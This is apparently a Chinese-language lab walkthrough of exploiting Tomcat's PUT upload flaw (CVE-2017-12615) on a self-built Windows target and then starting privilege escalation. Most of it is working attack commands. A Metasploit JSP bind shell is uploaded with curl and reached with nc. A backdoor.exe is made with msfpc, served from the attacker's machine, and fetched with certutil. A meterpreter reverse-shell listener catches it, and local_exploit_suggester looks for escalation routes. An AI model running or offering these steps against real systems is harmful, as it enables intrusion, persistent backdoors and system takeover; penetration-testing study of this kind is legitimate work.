windows内核提权实战

kali IP: 172.16.10.111

靶机IP: 172.16.10.180

2021-05-06自搭环境，漏洞为Tomcat PUT （cve-2017-12615）

msf使用tomcat_jsp_upload_bypass模块

手工复现

对Web应用漏洞扫描探测

发现服务的HTTP method方法中允许PUT，DELETE，允许客户端保存文件至服务器上

生成jsp反弹木马

┌──(root💀kali)-[~]
└─# msfconsole 
msf6 > use payload/windows/shell_bind_tcp
msf6 payload(windows/shell_bind_tcp) > set lport 4449
msf6 payload(windows/shell_bind_tcp) > generate -f jsp -o shell.jsp
[*] Writing 149075 bytes to shell.jsp...

上传jsp木马

使用curl，通过PUT方式上传/test.jsp/文件

curl -X PUT http://172.16.10.180:8080/test.jsp/ -d @shell.jsp

访问Web木马

使用nc连接

nc 172.16.10.180 4449

反弹shell

在C盘下创建back目录

chcp 437        //将编码改为英文，不会出现乱码
cd c:\
mkdir back
cd c:\back

上传backdoor.exe后门

┌──(root💀kali)-[~]
└─# msfpc windows 172.16.10.111

python快速开启http服务

python3 -m http.server 8180

靶机远程下载backdoor.exe

certutil -urlcache -split -f http://172.16.10.111:8180/backdoor.exe

kali开启监听

──(root💀kali)-[/home/sheng]
└─# msfconsole -r windows-meterpreter-staged-reverse-tcp-443-exe.rc

靶机执行backdoor.exe

c:\back>backdoor.exe
backdoor.exe

得到shell

提权

使用msf中post/multi/recon/local_exploit_suggester模块查看可利用的提权模块

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > exploit